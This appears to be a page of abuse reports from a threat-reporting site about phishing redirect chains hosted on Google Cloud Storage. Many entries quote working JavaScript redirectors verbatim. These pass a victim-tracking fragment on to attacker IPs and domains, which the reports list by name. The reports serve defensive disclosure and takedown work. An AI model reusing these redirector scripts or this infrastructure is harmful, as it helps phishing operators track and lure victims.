https://www.zkzak.com/pods
Has the following script:
<script>
document.location="https://www.bi ...
show morehttps://www.zkzak.com/pods
Has the following script:
<script>
document.location="https://www.bistrokum.com/belgiqueserver/"
</script>
show less
https://storage.googleapis.com/nwfotrac/9874tracknew.html
html has this content:
<script>
var ...
show morehttps://storage.googleapis.com/nwfotrac/9874tracknew.html
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
Google does not take down this content, even after several complaints…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14
RIPE: time to take down vpsnet.lt
show less
https://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this ...
show morehttps://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this malicious content.
has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.110";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to 185.80.129.110
Malicious IP:
https://www.virustotal.com/gui/ip-address/185.80.129.110
https://urlscan.io/search/#185.80.129.110
[email protected] does not take action to remove the content on this IP
@RIPE: it is time to remove all IP-ranges from VPSNET.LT. Reporting abuse has no effect.
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14…
show less
https://storage.googleapis.com/nwfotrac/9874tracknew.html#4znyZk72846Kngc261ywsxyullqu186074JKAJYOOL ...
show morehttps://storage.googleapis.com/nwfotrac/9874tracknew.html#4znyZk72846Kngc261ywsxyullqu186074JKAJYOOLVZBJITC84376/12177y21
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Used to track and redirect victims to
http://185.80.128.14/t/4znyZk72846Kngc261ywsxyullqu186074JKAJYOOLVZBJITC84376/12177y2
Content:
<script>
setTimeout(function(){
window.location.href = 'https://empirecrones.com/0/0/0/3ad3cab57b95027deff0aac38b7932e4/2/261-72846/186074-84376-12177';
console.log('redirecting to https://empirecrones.com/0/0/0/3ad3cab57b95027deff0aac38b7932e4/2/261-72846/186074-84376-12177');
}, 1000);
</script>
<p></p>
Redirects again to:
https://empirecrones.com/0/0/0/3ad3cab57b95027deff0aac38b7932e4/2/261-72846/186074-84376-12177
https://dormentmats.world/
show less
https://storage.googleapis.com/nwfotrac/9874tracknew.html#4znyZk72846Kngc261ywsxyullqu186074JKAJYOOL ...
show morehttps://storage.googleapis.com/nwfotrac/9874tracknew.html#4znyZk72846Kngc261ywsxyullqu186074JKAJYOOLVZBJITC84376/12177y21
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Used to track and redirect victims to
http://185.80.128.14/t/4znyZk72846Kngc261ywsxyullqu186074JKAJYOOLVZBJITC84376/12177y2
Content:
<script>
setTimeout(function(){
window.location.href = 'https://empirecrones.com/0/0/0/3ad3cab57b95027deff0aac38b7932e4/2/261-72846/186074-84376-12177';
console.log('redirecting to https://empirecrones.com/0/0/0/3ad3cab57b95027deff0aac38b7932e4/2/261-72846/186074-84376-12177');
}, 1000);
</script>
<p></p>
Redirects again to:
https://empirecrones.com/0/0/0/3ad3cab57b95027deff0aac38b7932e4/2/261-72846/186074-84376-12177
https://dormentmats.world/
show less
https://storage.googleapis.com/nwfotrac/9874tracknew.html
html has this content:
<script>
var ...
show morehttps://storage.googleapis.com/nwfotrac/9874tracknew.html
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
Google does not take down this content, even after several complaints…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14
RIPE: time to take down vpsnet.lt
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14…
show less
wareplates.com
Malicious, see
https://www.virustotal.com/gui/url/6f600ad2bb26f8350fc75313b1b0a2e ...
show morewareplates.com
Malicious, see
https://www.virustotal.com/gui/url/6f600ad2bb26f8350fc75313b1b0a2e4bbb129e4c3666398ce58a91fcff5e60c?nocache=1
show less
xomerglue.cfd
Malicious, see
https://www.virustotal.com/gui/url/6f600ad2bb26f8350fc75313b1b0a2e4 ...
show morexomerglue.cfd
Malicious, see
https://www.virustotal.com/gui/url/6f600ad2bb26f8350fc75313b1b0a2e4bbb129e4c3666398ce58a91fcff5e60c?nocache=1
show less
externaio.com
Part of the phishing reload chain starting from
https://storage.googleapis.com/n ...
show moreexternaio.com
Part of the phishing reload chain starting from
https://storage.googleapis.com/nwfotrac/9874tracknew.html
Malicious, see
https://www.virustotal.com/gui/url/59863d1e1fe49bcb187be611e3bd0f2df33df216f69ea9cf8538e0c5d7cfe7d4?nocache=1
https://urlscan.io/search/#externaio.com
show less
elbowmend.cfd
Part of this phishing reload chain:
https://storage.googleapis.com/fwdamoz/wnftcit ...
show moreelbowmend.cfd
Part of this phishing reload chain:
https://storage.googleapis.com/fwdamoz/wnftcit.html
http://185.80.128.14/t/4wdDTc72861JBob566nhpqnonhlv216741EUZHXUFLMNEFJNQ2/11256m21
https://intronjump.com/0/0/0/0425d3c4b45c7b94ebd0cb78b989018c/21/566-72861/216741-2-11256
show less
intronjump.com
Part of reload chain used by phishing criminals…
See
https://www.virustotal.co ...
show moreintronjump.com
Part of reload chain used by phishing criminals…
See
https://www.virustotal.com/gui/url/f727439358ceac0f3cae159f828beb3467a7e915cfee77d98fff2744b47932a4/detection
https://urlscan.io/search/#45.139.123.72
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14…
show less
unletstatic.click
Part of the reload chain of phising criminals
See:
https://www.virustotal.c ...
show moreunletstatic.click
Part of the reload chain of phising criminals
See:
https://www.virustotal.com/gui/url/b3177643f9f53164243f93005eb9aa62980d4f4fa2e1d840c349b2a17f980ade
https://urlscan.io/search/#unletstatic.click
show less
intronjump.com
Part of reload chain used by phishing criminals…
See
https://www.virustotal.co ...
show moreintronjump.com
Part of reload chain used by phishing criminals…
See
https://www.virustotal.com/gui/url/f727439358ceac0f3cae159f828beb3467a7e915cfee77d98fff2744b47932a4/detection
https://urlscan.io/search/#45.139.123.72
show less
https://storage.googleapis.com/nwfotrac/9874tracknew.html
html has this content:
<script>
var ...
show morehttps://storage.googleapis.com/nwfotrac/9874tracknew.html
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
Google does not take down this content, even after several complaints…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14
RIPE: time to take down vpsnet.lt
show less
https://storage.googleapis.com/nwfotrac/9874tracknew.html
html has this content:
<script>
var ...
show morehttps://storage.googleapis.com/nwfotrac/9874tracknew.html
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14
RIPE: time to take down vpsnet.lt
show less
shadelenght.world
Part of the reload chain used by phishing crminals,
See
https://urlscan.io/ ...
show moreshadelenght.world
Part of the reload chain used by phishing crminals,
See
https://urlscan.io/search/#shadelenght.world
show less
https://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this ...
show morehttps://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this malicious content.
has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.110";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to 185.80.129.110
Malicious IP:
https://www.virustotal.com/gui/ip-address/185.80.129.110
https://urlscan.io/search/#185.80.129.110
[email protected] does not take action to remove the content on this IP
@RIPE: it is time to remove all IP-ranges from VPSNET.LT. Reporting abuse has no effect.
show less
visormantra.com
Part of the reload chain used by phishing criminals,
See https://urlscan.io/se ...
show morevisormantra.com
Part of the reload chain used by phishing criminals,
See https://urlscan.io/search/#visormantra.com
https://www.virustotal.com/gui/url/19c4a4fdae42ffc99ba061ea303daad037c94a8180b6857a0f2499b67c1b11ad
show less
https://storage.googleapis.com/adb23topofferwww/hrefly.html
Content:
<script>
var tarcking_para ...
show morehttps://storage.googleapis.com/adb23topofferwww/hrefly.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.239";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to malicious IP 185.80.129.23:
https://www.virustotal.com/gui/ip-address/185.80.129.239
Google does not take down the reported content
Sending complaints to [email protected] has neither any effect.
So RIPE, time to take action against VPSNET-AS
org-name: UAB ESNET
country: LT
org-type: LIR
address: Zuvedru 36
address: LT10103
address: Vilnius
address: LITHUANIA
show less
https://storage.googleapis.com/prjet/cie.html
Content of html
<meta http-equiv="refresh" content ...
show morehttps://storage.googleapis.com/prjet/cie.html
Content of html
<meta http-equiv="refresh" content="3; url=">
<script>
document.location.href = 'http://unassigned.172-81-60-125.spryt.net/'+window.location.href.split('#')[1];
</script>
This script redirects the victim to the IP 172.81.60.125
This IP is malicious:
https://www.virustotal.com/gui/url/db00d8ab10ed1b85c789ab5591de74a1c61f852e9e4caba43ab4fd2bc869ea62
https://urlscan.io/search/#172.81.60.125
show less
Email Spam
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.